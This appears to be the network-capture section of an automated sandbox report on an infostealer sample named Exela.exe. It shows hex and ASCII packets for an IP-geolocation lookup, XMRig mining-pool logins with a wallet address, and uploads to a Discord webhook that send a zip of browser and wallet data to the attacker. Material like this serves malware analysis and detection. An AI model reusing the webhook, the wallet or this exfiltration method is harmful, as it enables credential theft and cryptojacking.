api.gofile.io

store1.gofile.io

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49982	208.95.112.1	80	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 07:11:17.874192953 CET	126	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11
Jan 12, 2025 07:11:18.338527918 CET	482	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 06:11:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 7 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49857	80.240.16.67	443	4300	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:10:50 UTC	594	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 37 52 50 77 42 56 4a 55 44 67 52 71 4e 35 75 69 58 53 55 76 64 50 71 36 7a 41 56 41 6a 48 43 32 6a 64 67 52 6e 75 53 75 4b 51 79 4d 66 72 4a 75 46 63 34 65 46 61 33 48 39 57 66 76 62 4a 63 75 42 43 63 74 65 37 75 42 41 31 76 61 63 4e 67 52 54 37 4d 45 31 76 78 34 58 74 4a 59 71 70 22 2c 22 70 61 73 73 22 3a 22 32 31 32 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 22 3a 22 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47RPwBVJUDgRqN5uiXSUvdPq6zAVAjHC2jdgRnuSuKQyMfrJuFc4eFa3H9WfvbJcuBCcte7uBA1vacNgRT7ME1vx4XtJYqp","pass":"212","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","rigid":"
2025-01-12 06:10:51 UTC	732	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 33 36 61 36 34 32 39 37 2d 30 38 38 61 2d 34 34 64 36 2d 38 64 62 35 2d 30 30 33 31 62 64 64 61 39 34 39 64 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 37 62 39 38 64 62 63 30 36 35 34 61 35 36 65 30 34 32 66 33 33 35 65 39 61 66 33 31 30 36 66 33 38 37 61 34 64 35 35 38 30 34 38 30 30 63 65 34 37 35 62 34 64 30 31 38 62 31 64 39 35 34 63 64 31 31 32 34 37 66 38 30 61 30 30 30 30 30 30 30 30 31 32 62 37 32 32 34 66 32 39 64 32 39 66 66 61 38 62 36 33 38 31 34 37 36 36 65 36 34 62 39 65 35 33 34 38 61 61 36 33 38 39 34 38 61 66 39 37 31 36 63 65 38 38 66 61 64 31 35 38 34 30 66 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"36a64297-088a-44d6-8db5-0031bdda949d","job":{"blob":"1010e7b98dbc0654a56e042f335e9af3106f387a4d55804800ce475b4d018b1d954cd11247f80a0000000012b7224f29d29ffa8b63814766e64b9e5348aa638948af9716ce88fad15840f
2025-01-12 06:11:01 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 37 62 39 38 64 62 63 30 36 35 34 61 35 36 65 30 34 32 66 33 33 35 65 39 61 66 33 31 30 36 66 33 38 37 61 34 64 35 35 38 30 34 38 30 30 63 65 34 37 35 62 34 64 30 31 38 62 31 64 39 35 34 63 64 31 31 32 34 37 66 38 30 61 30 30 30 30 30 30 30 30 39 61 32 30 61 38 34 30 39 36 33 62 37 64 65 64 33 63 36 65 62 66 66 64 33 31 63 37 35 35 33 32 63 39 36 66 32 66 35 62 63 64 32 38 36 64 38 30 30 66 33 37 32 32 38 65 64 35 30 35 39 34 30 34 31 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 63 35 65 33 30 37 36 2d 31 63 35 38 2d 34 32 39 35 2d 39 61 34 63 2d 62 61 63 36 61 30 39 61 39 36 33 66 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010e7b98dbc0654a56e042f335e9af3106f387a4d55804800ce475b4d018b1d954cd11247f80a000000009a20a840963b7ded3c6ebffd31c75532c96f2f5bcd286d800f37228ed505940411","job_id":"3c5e3076-1c58-4295-9a4c-bac6a09a963f","ta
2025-01-12 06:11:09 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 64 62 39 38 64 62 63 30 36 35 34 61 35 36 65 30 34 32 66 33 33 35 65 39 61 66 33 31 30 36 66 33 38 37 61 34 64 35 35 38 30 34 38 30 30 63 65 34 37 35 62 34 64 30 31 38 62 31 64 39 35 34 63 64 31 31 32 34 37 66 38 30 61 30 30 30 30 30 30 30 30 31 64 63 33 34 65 39 36 34 34 63 34 32 65 38 66 31 32 65 34 65 32 37 30 35 35 33 62 33 65 38 37 31 31 37 63 38 62 62 66 30 33 34 32 34 38 36 36 38 62 63 64 33 39 39 33 65 34 35 63 65 38 39 39 31 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 33 30 37 34 62 39 36 37 2d 39 31 30 36 2d 34 64 33 33 2d 39 39 64 31 2d 34 64 66 37 33 65 31 62 61 64 39 61 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010fdb98dbc0654a56e042f335e9af3106f387a4d55804800ce475b4d018b1d954cd11247f80a000000001dc34e9644c42e8f12e4e270553b3e87117c8bbf034248668bcd3993e45ce89911","job_id":"3074b967-9106-4d33-99d1-4df73e1bad9a","ta
2025-01-12 06:11:31 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 33 62 61 38 64 62 63 30 36 35 34 61 35 36 65 30 34 32 66 33 33 35 65 39 61 66 33 31 30 36 66 33 38 37 61 34 64 35 35 38 30 34 38 30 30 63 65 34 37 35 62 34 64 30 31 38 62 31 64 39 35 34 63 64 31 31 32 34 37 66 38 30 61 30 30 30 30 30 30 30 30 32 30 32 34 35 31 66 64 38 34 33 38 61 32 30 62 62 66 66 66 30 62 37 39 61 65 64 64 65 32 33 37 35 62 64 63 32 32 65 32 30 37 63 33 34 61 62 32 31 63 32 31 33 36 64 39 34 66 38 64 35 66 62 31 31 34 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 63 39 32 38 34 65 64 66 2d 35 38 36 33 2d 34 62 36 34 2d 62 64 62 30 2d 35 61 35 66 38 38 31 63 37 64 39 62 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101093ba8dbc0654a56e042f335e9af3106f387a4d55804800ce475b4d018b1d954cd11247f80a00000000202451fd8438a20bbfff0b79aedde2375bdc22e207c34ab21c2136d94f8d5fb114","job_id":"c9284edf-5863-4b64-bdb0-5a5f881c7d9b","ta
2025-01-12 06:11:47 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 33 62 61 38 64 62 63 30 36 66 61 31 30 34 35 32 34 32 38 38 33 66 37 30 36 66 35 39 34 65 36 32 36 33 63 61 30 64 39 35 66 30 38 31 61 63 32 39 37 62 64 39 64 38 61 34 61 35 30 38 33 65 64 62 61 64 61 61 63 65 64 61 30 30 30 30 30 30 30 30 30 36 63 64 36 33 63 61 38 65 62 33 30 36 65 63 36 37 38 62 64 38 62 61 39 64 39 61 62 35 34 34 64 36 34 36 30 63 66 64 33 30 38 35 32 38 34 34 35 64 34 62 34 31 38 62 62 38 39 61 30 35 39 33 37 30 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 31 33 62 64 36 63 33 37 2d 61 34 61 66 2d 34 61 37 63 2d 61 64 39 64 2d 33 32 35 62 36 33 61 63 37 35 66 34 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a3ba8dbc06fa1045242883f706f594e6263ca0d95f081ac297bd9d8a4a5083edbadaaceda0000000006cd63ca8eb306ec678bd8ba9d9ab544d6460cfd308528445d4b418bb89a0593701","job_id":"13bd6c37-a4af-4a7c-ad9d-325b63ac75f4","ta
2025-01-12 06:12:01 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 33 62 61 38 64 62 63 30 36 66 61 31 30 34 35 32 34 32 38 38 33 66 37 30 36 66 35 39 34 65 36 32 36 33 63 61 30 64 39 35 66 30 38 31 61 63 32 39 37 62 64 39 64 38 61 34 61 35 30 38 33 65 64 62 61 64 61 61 63 65 64 61 30 30 30 30 30 30 30 30 30 34 62 36 35 39 33 33 30 38 36 38 31 30 37 35 35 35 66 65 37 31 37 34 61 63 61 33 65 37 34 65 65 63 34 30 33 39 32 63 64 39 62 35 38 63 61 37 62 63 32 38 36 34 64 31 62 33 36 30 61 34 38 32 39 30 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 35 38 65 64 38 37 66 32 2d 61 38 38 37 2d 34 65 37 32 2d 62 63 61 31 2d 37 30 65 32 66 66 30 34 36 61 33 31 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a3ba8dbc06fa1045242883f706f594e6263ca0d95f081ac297bd9d8a4a5083edbadaaceda0000000004b659330868107555fe7174aca3e74eec40392cd9b58ca7bc2864d1b360a482901","job_id":"58ed87f2-a887-4e72-bca1-70e2ff046a31","ta
2025-01-12 06:12:09 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 39 62 61 38 64 62 63 30 36 66 61 31 30 34 35 32 34 32 38 38 33 66 37 30 36 66 35 39 34 65 36 32 36 33 63 61 30 64 39 35 66 30 38 31 61 63 32 39 37 62 64 39 64 38 61 34 61 35 30 38 33 65 64 62 61 64 61 61 63 65 64 61 30 30 30 30 30 30 30 30 30 37 39 34 36 32 39 36 36 63 61 36 30 37 38 61 38 32 39 32 66 34 34 31 66 65 66 64 37 31 37 31 32 65 63 39 65 63 39 39 33 30 35 32 32 39 39 34 64 31 38 36 65 35 32 66 35 37 65 36 61 31 33 66 64 30 38 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 34 38 32 34 65 37 39 38 2d 35 63 34 38 2d 34 62 64 66 2d 38 37 31 32 2d 63 65 61 63 61 37 39 63 66 38 66 66 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010b9ba8dbc06fa1045242883f706f594e6263ca0d95f081ac297bd9d8a4a5083edbadaaceda00000000079462966ca6078a8292f441fefd71712ec9ec9930522994d186e52f57e6a13fd08","job_id":"4824e798-5c48-4bdf-8712-ceaca79cf8ff","ta
2025-01-12 06:12:31 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 66 62 61 38 64 62 63 30 36 66 61 31 30 34 35 32 34 32 38 38 33 66 37 30 36 66 35 39 34 65 36 32 36 33 63 61 30 64 39 35 66 30 38 31 61 63 32 39 37 62 64 39 64 38 61 34 61 35 30 38 33 65 64 62 61 64 61 61 63 65 64 61 30 30 30 30 30 30 30 30 30 36 65 64 65 35 62 38 38 39 66 35 36 30 39 32 34 35 38 65 64 38 34 31 31 32 63 39 32 36 32 66 37 37 62 65 32 33 31 30 35 34 32 65 61 32 33 65 38 39 39 38 34 32 61 36 39 34 35 62 38 36 31 37 62 30 63 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 32 31 63 37 34 31 64 65 2d 66 30 32 63 2d 34 64 35 65 2d 38 31 62 39 2d 37 39 38 38 35 39 34 64 30 63 65 38 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010cfba8dbc06fa1045242883f706f594e6263ca0d95f081ac297bd9d8a4a5083edbadaaceda0000000006ede5b889f56092458ed84112c9262f77be2310542ea23e899842a6945b8617b0c","job_id":"21c741de-f02c-4d5e-81b9-7988594d0ce8","ta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49983	162.159.134.233	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:27 UTC	282	OUT	POST /api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9 HTTP/1.1 Host: discordapp.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11 Content-Length: 1379
2025-01-12 06:11:27 UTC	1379	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 20 46 75 6c 6c 20 49 6e 66 6f 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Exela Stealer Full Info*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0
2025-01-12 06:11:27 UTC	1115	IN	HTTP/1.1 204 No Content Date: Sun, 12 Jan 2025 06:11:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=0f26544ed0ac11ef80d5ba8b98d27b3f; Expires=Fri, 11-Jan-2030 06:11:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736662289 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QEgndhUGprmHRlVRKMYQAFrJg%2FN6TftKm0AfqCuiliKm2NAbcuVDvdNlITGqkTA0Whx29uXMlW01uuaqT0l0yJ0ueVNEVonrUeh207qh%2BstSlvIVJO%2BSzcO8W%2FI8%2B6CJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=0f26544ed0ac11ef80d5ba8b98d27b3fc5579229b5329e1871465a91b048bb8ca973bfaee3a736a7707de73121f03735; Expires=Fri, 11-Jan-2030 06:11:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
2025-01-12 06:11:27 UTC	626	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 6b 52 65 33 68 36 6b 4b 75 6f 32 44 50 67 54 4c 62 64 5f 4e 41 4e 6b 2e 4d 42 70 39 78 65 71 7a 4d 63 30 49 68 58 6d 4a 62 53 6b 2d 31 37 33 36 36 36 32 32 38 37 2d 31 2e 30 2e 31 2e 31 2d 51 43 71 45 66 74 57 61 4d 69 57 50 55 57 46 71 39 6a 79 54 55 53 73 58 62 57 62 56 57 75 71 66 5a 36 5a 4d 57 63 37 30 79 67 49 6c 50 58 78 67 51 36 6a 70 35 5f 2e 4f 45 59 66 75 6b 2e 50 33 6b 30 39 70 68 72 52 42 35 76 49 4b 32 47 4b 6e 37 6f 4d 35 5f 67 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 31 32 2d 4a 61 6e 2d 32 35 20 30 36 3a 34 31 3a 32 37 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 Data Ascii: Set-Cookie: __cf_bm=kRe3h6kKuo2DPgTLbd_NANk.MBp9xeqzMc0IhXmJbSk-1736662287-1.0.1.1-QCqEftWaMiWPUWFq9jyTUSsXbWbVWuqfZ6ZMWc70ygIlPXxgQ6jp5_.OEYfuk.P3k09phrRB5vIK2GKn7oM5_g; path=/; expires=Sun, 12-Jan-25 06:41:27 GMT; domain=.discordapp.com; HttpOnly; Secur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49984	162.159.134.233	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:28 UTC	281	OUT	POST /api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9 HTTP/1.1 Host: discordapp.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11 Content-Length: 512
2025-01-12 06:11:28 UTC	512	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 4b 65 79 77 6f 72 64 20 52 65 73 75 6c 74 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Keyword Result*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thum
2025-01-12 06:11:28 UTC	1107	IN	HTTP/1.1 204 No Content Date: Sun, 12 Jan 2025 06:11:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=0f92e6ccd0ac11efb060f68100a105d3; Expires=Fri, 11-Jan-2030 06:11:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736662289 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5kOak84shaLqHRk56yPEJc9OjVYi7CFyI1ypGuMFtok%2Ft4Ds9EXjmVTiLwImtsOAxm6Dzh3OOkKDmoHV1zi5M1F3yh7oRgudJ8PZbk0RU4h6jethSpHlgLw28XNSMDFV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=0f92e6ccd0ac11efb060f68100a105d353bf0f8d18177f290ea103a396d165e4c89b0eade74b13bb9a4d4aa3f61b446f; Expires=Fri, 11-Jan-2030 06:11:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
2025-01-12 06:11:28 UTC	626	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 71 4c 75 68 43 70 38 62 30 4a 49 53 33 74 66 56 66 42 41 71 7a 45 4d 4e 4a 68 55 78 35 67 46 75 48 61 42 42 32 34 63 57 35 4c 38 2d 31 37 33 36 36 36 32 32 38 38 2d 31 2e 30 2e 31 2e 31 2d 48 48 59 68 2e 45 78 38 67 59 66 36 70 46 62 43 73 5f 41 2e 53 49 5f 59 5a 69 69 5f 70 61 69 61 46 36 6e 73 35 4a 47 66 70 68 6b 4e 44 56 70 4b 64 50 65 50 64 7a 75 41 5f 79 74 56 34 70 41 71 77 43 45 6c 71 6a 45 46 35 39 77 72 56 66 54 77 33 4c 59 65 51 67 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 31 32 2d 4a 61 6e 2d 32 35 20 30 36 3a 34 31 3a 32 38 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 Data Ascii: Set-Cookie: __cf_bm=qLuhCp8b0JIS3tfVfBAqzEMNJhUx5gFuHaBB24cW5L8-1736662288-1.0.1.1-HHYh.Ex8gYf6pFbCs_A.SI_YZii_paiaF6ns5JGfphkNDVpKdPePdzuA_ytV4pAqwCElqjEF59wrVfTw3LYeQg; path=/; expires=Sun, 12-Jan-25 06:41:28 GMT; domain=.discordapp.com; HttpOnly; Secur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49985	162.159.135.233	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:29 UTC	797	OUT	POST /api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9 HTTP/1.1 Host: discordapp.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11 Cookie: __cf_bm=kRe3h6kKuo2DPgTLbd_NANk.MBp9xeqzMc0IhXmJbSk-1736662287-1.0.1.1-QCqEftWaMiWPUWFq9jyTUSsXbWbVWuqfZ6ZMWc70ygIlPXxgQ6jp5_.OEYfuk.P3k09phrRB5vIK2GKn7oM5_g; __cfruid=845f3cb9bc9bbeee108c1c6130b8f83b27653c85-1736662287; __dcfduid=0f26544ed0ac11ef80d5ba8b98d27b3f; __sdcfduid=0f26544ed0ac11ef80d5ba8b98d27b3fc5579229b5329e1871465a91b048bb8ca973bfaee3a736a7707de73121f03735; _cfuvid=D_QK7z_jZ5INFLeHJv_tQnl7ZycekPUVTuCe7EpHR1U-1736662287908-0.0.1.1-604800000 Content-Length: 672933 Content-Type: multipart/form-data; boundary=2215b2dc4b7347aabe8dea1695f9bcc5
2025-01-12 06:11:29 UTC	36	OUT	Data Raw: 2d 2d 32 32 31 35 62 32 64 63 34 62 37 33 34 37 61 61 62 65 38 64 65 61 31 36 39 35 66 39 62 63 63 35 0d 0a Data Ascii: --2215b2dc4b7347aabe8dea1695f9bcc5
2025-01-12 06:11:29 UTC	140	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 39 38 38 32 37 34 32 2d 43 43 35 36 2d 31 41 35 39 2d 39 37 37 39 2d 46 42 38 43 42 46 41 31 45 32 39 44 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="19882742-CC56-1A59-9779-FB8CBFA1E29D.zip"
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 6d 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 42 72 6f 77 73 65 72 73 2f 50 4b 03 04 14 00 00 00 00 00 6c 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 57 61 6c 6c 65 74 73 2f 50 4b 03 04 14 00 00 00 08 00 6d 09 2c 5a 47 98 57 8b af ff 09 00 d3 45 0a 00 0f 00 00 00 44 69 73 70 6c 61 79 20 28 31 29 2e 70 6e 67 6c bb 07 50 53 5b f8 f5 7d 12 40 8a 4a 47 40 7a 95 a2 d4 cb 05 a4 77 44 a5 aa f4 80 14 a3 46 29 52 42 4d 82 80 54 e9 88 28 10 04 15 bd 52 04 a4 86 2e 1d 04 0b 52 a4 f7 16 02 84 92 84 24 f0 86 7b df f2 9f 6f be 61 98 93 e4 ec 93 90 61 3d eb f9 ad bd f7 49 b0 b6 34 3b cf 72 91 05 00 80 f3 d7 cc 8d 6d 01 80 81 f6 90 1e 60 3a 43 3b b4 64 ee 1b d1 0e a0 00 5b 